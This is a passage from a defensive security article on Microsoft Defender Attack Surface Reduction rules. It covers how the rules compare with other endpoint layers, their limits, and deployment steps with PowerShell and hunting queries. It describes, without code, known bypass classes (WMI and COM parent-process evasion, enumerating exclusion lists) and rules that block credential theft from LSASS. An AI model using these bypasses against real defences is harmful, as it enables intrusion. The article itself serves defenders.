  .forEach(([key, n]) =&amp;gt; console.log(n + &quot;\t&quot; + key));
`}&lt;/p&gt;
&lt;p&gt;Nineteen rules. Three categories. One catalogue that has grown by twelve rules in nine years and shows no sign of stopping. But ASR is not the only behaviour-blocking layer on the Windows endpoint. How does the catalogue compare to CrowdStrike&apos;s Indicators of Attack, SentinelOne&apos;s Storyline, App Control for Business, Sysmon, and the rest?&lt;/p&gt;
&lt;h2&gt;7. Where ASR Sits Among the Behaviour Layers&lt;/h2&gt;
&lt;p&gt;ASR is one of seven currently-deployed methods for behavioural defence on the Windows endpoint. None of them obsoletes any of the others; they layer. Counting the strengths honestly means counting the weaknesses too.&lt;/p&gt;
&lt;h3&gt;App Control for Business, AppLocker, WDAC&lt;/h3&gt;
&lt;p&gt;Identity classification. App Control for Business and its predecessor AppLocker are stricter than ASR on the identity axis (default-deny when tuned) but blind to behaviour edges among allowed binaries [@ms-learn-applocker]. The Vulnerable Driver Blocklist that ships default-on with Windows 11 22H2 is the kernel-load-time sibling to ASR&apos;s BYOVD rule and works against the same class of attack from the kernel side rather than the user side [@ms-learn-driver-block-rules]. App Control and ASR are complementary, not competing.&lt;/p&gt;
&lt;h3&gt;CrowdStrike Falcon Behavioral Indicators of Attack&lt;/h3&gt;
&lt;p&gt;Cloud-evaluated edge classifier. CrowdStrike&apos;s own one-line definition of IOAs is the cleanest a vendor has published [@crowdstrike-ioa-definition]: &quot;telltale signs or activities that signal a potential cybersecurity threat or attack is in progress. ... They aim to identify and mitigate a threat before it can fully materialize.&quot; The trade-offs cut both ways. CrowdStrike pushes new IOA rules from the cloud without an OS update -- real adaptivity. The cost: no public reference catalogue (every IOA is vendor-internal), a cloud dependency for some configurations, and a commercial licence. ASR is free; CrowdStrike is not.&lt;/p&gt;
&lt;h3&gt;SentinelOne Singularity Storyline, ActiveEDR&lt;/h3&gt;
&lt;p&gt;On-agent behavioural-AI engine with per-host storyline graph correlation and a STAR custom-rule layer. SentinelOne&apos;s product-level marketing pages return JavaScript-rendered shells or HTTP 404s to text-only fetchers, so byte-precision verification for specific features is currently unavailable. The model-level description (on-agent graph correlation that works offline) is well-attested in the secondary literature. The trade-offs mirror CrowdStrike&apos;s: vendor-internal classifier, no public catalogue, commercial licence. This article keeps the framing at the model level and avoids specific feature or performance claims.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The SentinelOne canonical product URLs are HTTP 404 or JavaScript-rendered shells with no byte-extractable text. The model-level claim (on-agent behavioural-AI graph correlation, STAR custom-rule layer, designed offline) is well-attested in the secondary literature; no specific feature claim has a single byte-verified URL behind it in this iteration.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Microsoft 365 Apps internet-macro default block&lt;/h3&gt;
&lt;p&gt;The Office-internal parallel layer that ended the macro era for unmanaged tenants [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022]. Office-only and macro-only; covers neither DDE, OLE, embedded executables, nor non-VBA Office attack chains. ASR remains the layer that catches the corresponding edge if the macro layer is bypassed by a managed-tenant override or by a non-macro initial-access vector.&lt;/p&gt;
&lt;h3&gt;Sysmon and custom SIEM rules&lt;/h3&gt;
&lt;p&gt;High-fidelity edge &lt;strong&gt;visibility&lt;/strong&gt;; no enforcement. Practitioners run &lt;a href=&quot;https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/&quot; rel=&quot;noopener&quot;&gt;Sysmon&lt;/a&gt; alongside ASR for audit-trail coverage of edges ASR does not block and for corroborating telemetry around edges it does. Note that MITRE M1042 (&quot;Disable or Remove Feature or Program&quot;) does not mention Sysmon or ASR by name [@mitre-m1042]; the Sysmon-with-ASR pairing is practitioner consensus rather than an M1042 nomination. M1040 (Behavior Prevention on Endpoint) is the mitigation that names ASR rules verbatim [@mitre-m1040].&lt;/p&gt;
&lt;h3&gt;EDR-in-block-mode&lt;/h3&gt;
&lt;p&gt;The sibling post-event automated-response layer to ASR, not an umbrella over it. EDR-in-block-mode is &lt;strong&gt;required&lt;/strong&gt; for passive-AV configurations where Defender Antivirus is not the primary. Microsoft Learn&apos;s EDR-in-block-mode page is unambiguous about the dependency: &quot;Features like network protection and attack surface reduction (ASR) rules and indicators ... are only available when Microsoft Defender Antivirus is running in Active mode&quot; [@ms-learn-edr-in-block-mode]. EDR-in-block-mode acts strictly post-event on EDR detections; ASR acts pre-completion on the operation itself. Different points in the timeline.&lt;/p&gt;
&lt;p&gt;A common misframing places EDR-in-block-mode as the umbrella feature that &quot;covers&quot; ASR. The Microsoft Learn page contradicts that reading directly. EDR-in-block-mode is the layer that lets Defender for Endpoint block based on its EDR findings even when a third-party AV is primary; ASR is the layer that intercepts the operation at the minifilter before any other component sees it. They are siblings, not parent and child [@ms-learn-edr-in-block-mode].&lt;/p&gt;
&lt;h3&gt;The comparison matrix&lt;/h3&gt;
&lt;p&gt;The seven methods on ten axes. Read this as a trade-off space; no row dominates the others on every axis.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Classification axis&lt;/th&gt;
&lt;th&gt;Enforcement substrate&lt;/th&gt;
&lt;th&gt;Catalogue inspectability&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;th&gt;Cloud-connectivity required&lt;/th&gt;
&lt;th&gt;OS coverage&lt;/th&gt;
&lt;th&gt;Best suited for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;ASR rules&lt;/td&gt;
&lt;td&gt;Edge&lt;/td&gt;
&lt;td&gt;Kernel-mode minifilter + user-mode service&lt;/td&gt;
&lt;td&gt;Fully public per-rule [@ms-learn-asr-reference]&lt;/td&gt;
&lt;td&gt;Free with Windows&lt;/td&gt;
&lt;td&gt;No (some rules require MAPS)&lt;/td&gt;
&lt;td&gt;Windows 10 1709+, Windows 11, Windows Server&lt;/td&gt;
&lt;td&gt;Behaviour-edge defence; macro chains; LSASS; BYOVD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;M365 Apps internet-macro block&lt;/td&gt;
&lt;td&gt;Document-trust&lt;/td&gt;
&lt;td&gt;Office process&lt;/td&gt;
&lt;td&gt;Public docs [@ms-learn-internet-macros-blocked]&lt;/td&gt;
&lt;td&gt;Free with M365&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Microsoft 365 Apps&lt;/td&gt;
&lt;td&gt;Internet-marked Office macros&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App Control + Vulnerable Driver Blocklist&lt;/td&gt;
&lt;td&gt;Identity + driver hash&lt;/td&gt;
&lt;td&gt;Kernel&lt;/td&gt;
&lt;td&gt;Public policy XML / Block rules [@ms-learn-driver-block-rules]&lt;/td&gt;
&lt;td&gt;Free with Windows&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Windows 10+, Server&lt;/td&gt;
&lt;td&gt;Default-deny; kernel-load-time BYOVD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrowdStrike Falcon IOAs&lt;/td&gt;
&lt;td&gt;Edge&lt;/td&gt;
&lt;td&gt;Agent + cloud&lt;/td&gt;
&lt;td&gt;Vendor-internal [@crowdstrike-ioa-definition]&lt;/td&gt;
&lt;td&gt;Commercial&lt;/td&gt;
&lt;td&gt;Yes (some)&lt;/td&gt;
&lt;td&gt;Cross-platform&lt;/td&gt;
&lt;td&gt;Adaptive cloud-pushed behavioural detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SentinelOne Storyline&lt;/td&gt;
&lt;td&gt;Edge graph&lt;/td&gt;
&lt;td&gt;On-agent&lt;/td&gt;
&lt;td&gt;Vendor-internal&lt;/td&gt;
&lt;td&gt;Commercial&lt;/td&gt;
&lt;td&gt;No (designed offline)&lt;/td&gt;
&lt;td&gt;Cross-platform&lt;/td&gt;
&lt;td&gt;Per-host graph correlation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sysmon + SIEM&lt;/td&gt;
&lt;td&gt;Visibility only&lt;/td&gt;
&lt;td&gt;User-mode (Sysmon) + SIEM&lt;/td&gt;
&lt;td&gt;Public events; SIEM rules per-tenant&lt;/td&gt;
&lt;td&gt;Sysmon free; SIEM commercial&lt;/td&gt;
&lt;td&gt;Yes (SIEM)&lt;/td&gt;
&lt;td&gt;Windows 7+, Linux&lt;/td&gt;
&lt;td&gt;Audit trail; corroboration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR-in-block-mode&lt;/td&gt;
&lt;td&gt;Post-detection block&lt;/td&gt;
&lt;td&gt;MDE service&lt;/td&gt;
&lt;td&gt;MDE-managed&lt;/td&gt;
&lt;td&gt;Defender for Endpoint licence&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Windows 10+, Server&lt;/td&gt;
&lt;td&gt;Passive-AV configurations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

AV-Comparatives&apos; Endpoint Prevention and Response Test 2023 evaluated 12 EPR products against 50 multi-stage targeted-attack scenarios across three phases -- Endpoint Compromise and Foothold, Internal Propagation, Asset Breach -- over June through September 2023 [@av-comparatives-epr-2023]. Per-product scoring is paywalled and is not reproduced here; only the methodology is cited as the cross-vendor backdrop against which any &quot;ASR vs the rest&quot; empirical claim has to be measured. The article makes no specific scoring claim against AV-Comparatives data because the scoring is not publicly extractable from the free summary.
&lt;p&gt;Each row in the matrix names a different trade-off. ASR is the only row that is free, kernel-mediated, fully inspectable, and shipped with every Windows edition that includes Defender Antivirus. But the catalogue is finite. And the attacker&apos;s degrees of freedom are not. What does the theory say about the gap?&lt;/p&gt;
&lt;h2&gt;8. What No Behaviour Block List Can Do&lt;/h2&gt;
&lt;p&gt;Every defence layer has a lower bound. ASR&apos;s is &lt;strong&gt;Cohen 1984&lt;/strong&gt; -- but indirectly, through the structural floor that every edge predicate inherits.&lt;/p&gt;
&lt;p&gt;Cohen&apos;s 1984 result (introduced in Section 3 as a Definition with its diagonal-construction proof sketch and Rice-1953 corollary) proves that detection of arbitrary viral behaviour in a program reduces to the Halting Problem and is therefore undecidable in general [@cohen-1984-part1]. ASR sidesteps the result by changing the question. Not &quot;is this program malicious?&quot; -- undecidable in general -- but &quot;did this specific edge in the runtime graph just occur?&quot; -- decidable per event at the OS interception layer. The Cohen ceiling does not directly forbid edge classification; it forbids &lt;em&gt;node&lt;/em&gt; classification. Edge classification is decidable per edge.&lt;/p&gt;
&lt;p&gt;The cost is two structural floors that any behaviour-block list inherits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The over-approximation floor.&lt;/strong&gt; Every edge predicate is itself an over-approximation of &quot;is this edge malicious.&quot; Legitimate IT-automation Word macros do legitimately spawn PowerShell. Legitimate backup software does legitimately read LSASS memory (&lt;code&gt;WerFaultSecure.exe&lt;/code&gt; appears on extracted LSASS-rule exclusion lists per Adam Svoboda&apos;s VDM-extraction technique [@adamsvoboda-asr-exclusions]). Legitimate management software does legitimately write driver files. Every ASR rule therefore has a structural false-positive floor; the per-rule exclusion list is the recovery mechanism. Exclusion lists trade safety for compatibility.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The catalogue-finiteness upper bound.&lt;/strong&gt; The space of possible attack edges is countably infinite. Any composition of &lt;code&gt;CreateProcess&lt;/code&gt;, &lt;code&gt;WriteFile&lt;/code&gt;, &lt;code&gt;RegSetValue&lt;/code&gt;, WMI subscription, scheduled task, COM &lt;code&gt;IDispatch::Invoke&lt;/code&gt;, or driver-load can be chained into a new edge sequence. The catalogue is finite -- nineteen rules in May 2026 [@ms-learn-asr-reference]. The bound is sharp: an attacker whose chain crosses any edge &lt;code&gt;e&lt;/code&gt; in the catalogue is detected at &lt;code&gt;e&lt;/code&gt;; an attacker whose chain avoids every edge in the catalogue is not.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; ASR compresses bypass cost; it does not eliminate it. The catalogue is finite. The attacker&apos;s space of edges is countably infinite. Behaviour-block lists are incomplete by construction -- and that is not a defect; it is the design philosophy. The defender&apos;s job is not to fix the incompleteness but to make every cheap attack chain expensive enough that the attacker stops using it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The empirical evidence for the catalogue-finiteness bound is the bypass-research cluster. SANS ISC Diary 27036 (Daniel Wesemann, January 27, 2021) documents the WMI-grandparent bypass to the Office-child-process rule [@sans-isc-27036-emotet-asr]. Sevagas / Emeric Nasi&apos;s &quot;Bypass Windows Defender Attack Surface Reduction&quot; PDF (2021) documents COM-object-indirection bypasses [@sevagas-asr-bypass]. Primusinterp&apos;s &quot;Cheesing Microsoft Attack Surface Reduction rules&quot; enumerates chained-COM bypasses against the 2017-era catalogue [@primusinterp-cheesing-asr]. Adam Svoboda&apos;s VDM-extraction technique enumerates the exclusion lists themselves [@adamsvoboda-asr-exclusions]. None of these is a defect Microsoft has been slow to fix. All are structural consequences of the catalogue-finiteness bound.&lt;/p&gt;

The proof in Cohen&apos;s open-access archive reduces virus detection to the Halting Problem; the 1984 DoD/NBS conference paper is the original presentation; the 1987 *Computers and Security* reprint is the canonical citable journal form. The open-access archive at all.net is the byte-verifiable text; the verbatim sentence &quot;Protection from denial of services requires the detection of halting programs which is well known to be undecidable&quot; is on the first page of Part 1 [@cohen-1984-part1]. The line is the closest one-sentence statement of the structural ceiling that any node-classifying malware detector inherits.
&lt;p&gt;ASR&apos;s design philosophy is not to achieve the theoretical optimum of &quot;complete, sound, real-time, false-positive-free edge catalogue&quot; (unachievable for the reasons above). It is to &lt;strong&gt;compress the attacker&apos;s bypass cost&lt;/strong&gt; -- to force the attacker off the cheap, common attack chains (&lt;code&gt;WINWORD -&amp;gt; cmd -&amp;gt; PowerShell&lt;/code&gt;) onto more expensive ones (WMI grandparent, COM indirection, scheduled-task fan-out, exclusion-list enumeration, BYOVD). The Section 11 FAQ entry that picks up this thread makes it explicit.&lt;/p&gt;
&lt;p&gt;A finite catalogue, an unbounded attacker space, and a structural floor under each rule. The next section names the open problems that follow.&lt;/p&gt;
&lt;h2&gt;9. What Is Still Moving&lt;/h2&gt;
&lt;p&gt;The bypass-research corpus around ASR is not a temporary embarrassment. It is the permanent shape of every catalogue-based defence. Six open problems define the layer&apos;s research frontier as of May 2026.&lt;/p&gt;
&lt;h3&gt;Problem 1 -- The WMI and COM grandparent bypass class&lt;/h3&gt;
&lt;p&gt;The canonical bypass is documented in SANS Internet Storm Center Diary 27036, published January 27, 2021 by handler Daniel Wesemann [@sans-isc-27036-emotet-asr]. Emotet&apos;s VBA invoked &lt;code&gt;Win32_Process.Create&lt;/code&gt; via WMI, so &lt;code&gt;WmiPrvSE.exe&lt;/code&gt; became the literal parent of &lt;code&gt;cmd.exe&lt;/code&gt;; the Office-child-process rule&apos;s predicate is byte-literal (it checks the immediate parent image against the Office binary list) and therefore never fires.&lt;/p&gt;

sequenceDiagram
    participant VBA as VBA macro in WINWORD.EXE
    participant WMI as WmiPrvSE.exe (svchost host)
    participant CMD as cmd.exe
    participant WD as WdFilter.sys
    participant MP as MsMpEng.exe
    VBA-&amp;gt;&amp;gt;WMI: GetObject winmgmts, Win32_Process.Create
    WMI-&amp;gt;&amp;gt;WD: process-create notify, parent = WmiPrvSE
    WD-&amp;gt;&amp;gt;MP: edge event, parent image WmiPrvSE.exe
    MP--&amp;gt;&amp;gt;WD: rule D4F940AB predicate false, no Office parent
    WD--&amp;gt;&amp;gt;WMI: allow CreateProcess
    WMI-&amp;gt;&amp;gt;CMD: spawn cmd.exe

&apos;cmd&apos; is not a child process of Word, and the ASR block rule to prevent child processes of Word consequently doesn&apos;t trigger. -- Daniel Wesemann, SANS ISC Diary 27036, January 27, 2021 [@sans-isc-27036-emotet-asr]
&lt;p&gt;The PSExec/WMI rule (&lt;code&gt;d1e49aac-...&lt;/code&gt;) was added in Windows 10 1803 to catch the most common variant, but Microsoft Learn warns that it conflicts with Configuration Manager [@ms-learn-asr-overview]. COM-object indirection (&lt;code&gt;MMC.Application&lt;/code&gt;, &lt;code&gt;Outlook.Application&lt;/code&gt;, &lt;code&gt;ShellWindows&lt;/code&gt;) generalises the bypass beyond WMI [@sevagas-asr-bypass] [@primusinterp-cheesing-asr]. No ASR rule today covers transitive-parent classification across COM or scheduled-task fan-out without breaking Configuration Manager dependencies. The open question is whether a transitive-parent predicate can be added without breaking SCCM, and what false-positive rate that costs.&lt;/p&gt;
&lt;h3&gt;Problem 2 -- Event 5007 and exclusion-list enumeration&lt;/h3&gt;
&lt;p&gt;Adam Svoboda&apos;s technique demonstrates that ASR exclusion lists live in Defender VDM containers (&lt;code&gt;mpasbase.vdm&lt;/code&gt;, &lt;code&gt;mpasdlta.vdm&lt;/code&gt;) and are extractable with &lt;code&gt;wdextract64.exe&lt;/code&gt; [@adamsvoboda-asr-exclusions]. A low-privilege user with read access to &lt;code&gt;C:\ProgramData\Microsoft\Windows Defender\Definition Updates\&lt;/code&gt; can enumerate the whitelisted paths the LSASS rule, the BYOVD rule, and other rules carry by default. Tamper Protection prevents runtime modification of the exclusion list but does not prevent read access [@ms-learn-tamper-protection]. Once the exclusion list is enumerated, the per-rule defence becomes &quot;did the attacker drop the payload in a writable whitelisted path?&quot; -- a deployment-quality question, not a structural one. The open problem is whether the exclusion lists should be encrypted at rest with a key not derivable by an unprivileged process.&lt;/p&gt;
&lt;h3&gt;Problem 3 -- Catalogue completeness against modern initial-access vectors&lt;/h3&gt;
&lt;p&gt;Emotet&apos;s post-2022 pivot to OneNote embedded scripts, HTML smuggling, ISO and IMG containers (which strip MOTW on extraction), LNK files, and 7z archives is not covered by ASR&apos;s existing rules [@welivesecurity-emotet-pivot-2022]. SmartScreen, Network Protection, and the Microsoft 365 Apps internet-macro default block cover some of this surface, but not via ASR&apos;s edge-predicate model. The open question is whether the ASR catalogue should grow to cover OneNote-spawns-child, or whether the right answer is to rely on the parallel layers and accept that ASR&apos;s coverage of OneNote-era initial-access is partial.&lt;/p&gt;
&lt;h3&gt;Problem 4 -- The Webshell rule&apos;s missing telemetry surface&lt;/h3&gt;
&lt;p&gt;Per the Microsoft Learn rules reference, &quot;Block Webshell creation for Servers&quot; (&lt;code&gt;a8f5898e-...&lt;/code&gt;) is the only rule without a &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; pair [@ms-learn-asr-reference]. Defenders cannot KQL-hunt for blocked Webshell creations the way they can for every other rule; visibility lives in &lt;code&gt;MpCmdRun.log&lt;/code&gt; and IIS access logs. The open question is when Microsoft will add the missing ActionType so that the Webshell rule&apos;s audit-and-block events become uniformly queryable in Advanced Hunting.&lt;/p&gt;
&lt;h3&gt;Problem 5 -- Tamper Protection versus kernel-level attackers&lt;/h3&gt;
&lt;p&gt;ASR is enforced by &lt;code&gt;WdFilter.sys&lt;/code&gt; running at integrity level System, but a kernel-mode attacker (for example, one with a BYOVD-loaded malicious driver) is a peer. BlackByte&apos;s 2022 BYOVD campaigns demonstrated the pattern: load a vulnerable signed driver, disable Defender&apos;s notify routines, proceed [@sophos-blackbyte-returns-2022]. The ASR BYOVD rule (&lt;code&gt;56a863a9-...&lt;/code&gt;) plus the WDAC Vulnerable Driver Blocklist default-on in Windows 11 22H2 [@ms-learn-driver-block-rules] plus Hypervisor-protected Code Integrity each close a sub-class. None closes the full class, because the driver-block-list is update-cadence-bounded. The open question is whether &lt;code&gt;WdFilter.sys&lt;/code&gt; can be moved into a Virtualization-Based Security isolated enclave such that even a kernel-compromise primitive cannot tamper with ASR enforcement.&lt;/p&gt;
&lt;h3&gt;Problem 6 -- The inspectability dual&lt;/h3&gt;
&lt;p&gt;ASR&apos;s structural floor is &lt;strong&gt;catalogue finiteness&lt;/strong&gt;. The structural floor of its SOTA competitors (CrowdStrike AI-powered IOAs, SentinelOne Storyline) is &lt;strong&gt;vendor-internal inspectability&lt;/strong&gt;. When an AI-powered IOA fires, the defender has no rule GUID to look up, no published predicate to reason about, no per-edge auditability for purple-team coverage assessment. The two bounds are complementary: ASR optimises for inspectability at the cost of catalogue-growth lag; the AI-powered competitors optimise for adaptive classifier coverage at the cost of inspectability. A complete edge-classification SOTA layer would combine both. No single product currently does.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Outflank ASR-bypass blog corpus is a well-known research-cluster member; live URLs returned HTTP 403 (Cloudflare) and Wayback Machine fallbacks were unreachable from the verification environment. Named honestly here without inventing a URL. The bypass cluster&apos;s claims are independently supported by SANS ISC [@sans-isc-27036-emotet-asr], Sevagas [@sevagas-asr-bypass], Primusinterp [@primusinterp-cheesing-asr], and Adam Svoboda [@adamsvoboda-asr-exclusions].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The catalogue is incomplete by construction. The defender&apos;s job is not to fix the incompleteness; it is to make every cheap attack chain too expensive to use. Section 10 codifies that into a Monday-morning playbook.&lt;/p&gt;
&lt;h2&gt;10. How to Actually Use This on Monday&lt;/h2&gt;
&lt;p&gt;Five steps. Source-control everything. Treat ASR not as a replacement for AppLocker, App Control for Business, or your EDR -- treat it as a kernel-mediated, free, behaviour-edge layer that costs almost nothing once tuned.&lt;/p&gt;
&lt;h3&gt;Step 1 -- Enable the three Standard protection rules in Block mode first&lt;/h3&gt;
&lt;p&gt;Microsoft itself classifies these three as low-false-positive-floor [@ms-learn-asr-overview]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Block abuse of exploited vulnerable signed drivers (Device) -- &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Block credential stealing from the Windows local security authority subsystem -- &lt;code&gt;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&lt;/code&gt;. Note: if LSA Protection is enabled on the device (recommended together with Credential Guard), Microsoft Learn states verbatim that &quot;this rule is redundant&quot; and Defender will show the rule as &quot;not applicable&quot; [@ms-learn-asr-overview].&lt;/li&gt;
&lt;li&gt;Block persistence through WMI event subscription -- &lt;code&gt;e6db77e5-3df2-4cf1-b95a-636979351e5b&lt;/code&gt;. Even though this rule is in the Standard set, Microsoft Learn recommends extensive Audit-mode testing if Configuration Manager manages the device, &quot;because the Configuration Manager client relies heavily on WMI&quot; [@ms-learn-asr-overview].&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 2 -- Move the other sixteen rules through Audit, Warn, Block&lt;/h3&gt;
&lt;p&gt;The canonical deployment ladder is enumerated in the implementation guide on Microsoft Learn: start every rule in Audit, watch &lt;code&gt;DeviceEvents&lt;/code&gt; for false positives, transition to Warn (or Block where Warn is unsupported), then transition to Block once the false-positive rate is acceptable in your first deployment ring [@ms-learn-asr-deployment-implement]. Two rules skip Warn entirely and go Audit straight to Block: Block credential stealing from LSASS and Block Office applications from injecting code into other processes [@ms-learn-asr-overview]. The other fourteen Other ASR rules support the full three-step ladder.&lt;/p&gt;
&lt;h3&gt;Step 3 -- Hunt with the universal query&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;DeviceEvents | where ActionType startswith &quot;Asr&quot;&lt;/code&gt; returns every Audit and Block emission across the fleet. Pair with &lt;code&gt;DeviceProcessEvents&lt;/code&gt; and &lt;code&gt;DeviceFileEvents&lt;/code&gt; for the corroborating edge data; the Section 6 RunnableCode block demonstrates the shape. For the one rule without a &lt;code&gt;DeviceEvents&lt;/code&gt; row -- Block Webshell creation for Servers -- use Sysmon Event ID 11 in web roots plus IIS access logs [@ms-learn-asr-reference]. Microsoft Learn&apos;s operationalize page is the corresponding canonical reference for post-deployment monitoring practices [@ms-learn-asr-deployment-operationalize].&lt;/p&gt;
&lt;h3&gt;Step 4 -- Layer with the sibling controls&lt;/h3&gt;
&lt;p&gt;ASR alone is not a complete posture. The set of controls that compose with ASR includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tamper Protection&lt;/strong&gt; [@ms-learn-tamper-protection] -- prevents administrators (and attackers with admin rights) from disabling ASR rules at runtime through registry or service tampering.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud Protection (MAPS)&lt;/strong&gt; -- required for several rules including the prevalence-based executable rule and the ransomware advanced-protection rule [@ms-learn-asr-reference].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Microsoft 365 Apps macros-from-the-internet-blocked-by-default policy&lt;/strong&gt; [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022] -- the consumer-facing twin of ASR&apos;s Office rules; default-on for every Microsoft 365 tenant since the July 2022 staged rollout.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Vulnerable Driver Blocklist&lt;/strong&gt; [@ms-learn-driver-block-rules] -- default-on in Windows 11 22H2; sibling to the BYOVD ASR rule at the kernel-load edge.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EDR-in-block-mode&lt;/strong&gt; [@ms-learn-edr-in-block-mode] -- only when Defender Antivirus is in passive mode (third-party AV is primary).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysmon&lt;/strong&gt; -- for visibility into edges ASR does not block and for audit-trail corroboration of edges it does. (M1040 nominates ASR per-technique [@mitre-m1040]; M1042 does not mention Sysmon or ASR by name [@mitre-m1042] -- the pairing is practitioner consensus, not an M1042 nomination.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 5 -- Track exclusions in source control&lt;/h3&gt;
&lt;p&gt;The exclusion list is the most common deployment-failure surface. Adding &lt;code&gt;C:\Program Files\Vendor\&lt;/code&gt; as an exclusion for one rule applies fleet-wide; over-broad exclusions are the dominant practical risk to the layer&apos;s integrity. Use Git or equivalent; review exclusions every quarter; demand a Jira ticket per exclusion with a sunset date.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; (1) Enable BYOVD, LSASS, and WMI persistence in Block mode (Standard protection -- start here). (2) Move the other sixteen rules through Audit, Warn, Block. (3) Hunt with &lt;code&gt;DeviceEvents | where ActionType startswith &quot;Asr&quot;&lt;/code&gt;. (4) Layer with Tamper Protection, Cloud Protection, the Microsoft 365 Apps macro default block, the Vulnerable Driver Blocklist, EDR-in-block-mode (for passive AV), and Sysmon. (5) Track exclusions in source control with sunset dates.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Exclusions added to one ASR rule apply fleet-wide. Over-broad exclusions are the dominant practical attack surface against an otherwise well-configured ASR posture. Adam Svoboda&apos;s published technique demonstrates that low-privilege users can enumerate the exclusion list directly from Defender&apos;s VDM containers [@adamsvoboda-asr-exclusions]. Track exclusions in source control. Review quarterly. Require a ticket with a sunset date for every entry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If LSA Protection (RunAsPPL) is enabled on the device, the LSASS ASR rule shows as &quot;not applicable&quot; because LSA Protection already enforces the same boundary at a different layer [@ms-learn-asr-overview]. Confused defenders sometimes interpret the &quot;not applicable&quot; state as a rule misconfiguration; it is in fact the correct behaviour, and means the host is already protected against the equivalent class of attacks by LSA Protection plus Credential Guard.&lt;/p&gt;

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids `
  &apos;56a863a9-875e-4185-98a7-b882c64b5ce5&apos;, `
  &apos;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&apos;, `
  &apos;e6db77e5-3df2-4cf1-b95a-636979351e5b&apos; `
  -AttackSurfaceReductionRules_Actions Enabled, Enabled, Enabled
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
```
Run as administrator. The three GUIDs are BYOVD, LSASS, and WMI persistence respectively. Confirm with the Get-MpPreference call. For staged rollout in an enterprise, manage these through Intune or Group Policy instead so the configuration follows the device.
&lt;p&gt;Five steps, three Standard protection rules, sixteen Other ASR rules, two rules that skip Warn mode, one universal hunting query. The rest is exception-list discipline. Section 11 closes with the seven misconceptions that survive every rollout.&lt;/p&gt;
&lt;h2&gt;11. Frequently Asked Questions&lt;/h2&gt;

No. ASR rules live inside **Microsoft Defender Antivirus** -- the on-host scanning engine that ships free with every Windows edition that includes Defender. **Microsoft Defender for Endpoint** is the cloud-managed EDR layer Microsoft sells on top, with `DeviceEvents` Advanced Hunting, Indicators of Compromise management, and automated investigation. ASR rules can be configured locally via PowerShell or Group Policy with no Defender for Endpoint licence at all. Defender for Endpoint adds management, telemetry ingestion, and Advanced Hunting; it does not add the enforcement [@ms-learn-asr-reference] [@ms-learn-edr-in-block-mode].

No. This is the SOC-playbook folklore that survives every rollout. Each rule emits a rule-specific `AsrAudited` and `AsrBlocked` pair (the server-only Webshell rule is the only exception, with no `DeviceEvents` row at all). The canonical universal Advanced Hunting query is `DeviceEvents | where ActionType startswith &quot;Asr&quot;`, not equality against a generic value. Microsoft Learn&apos;s rules reference enumerates every pair [@ms-learn-asr-reference].

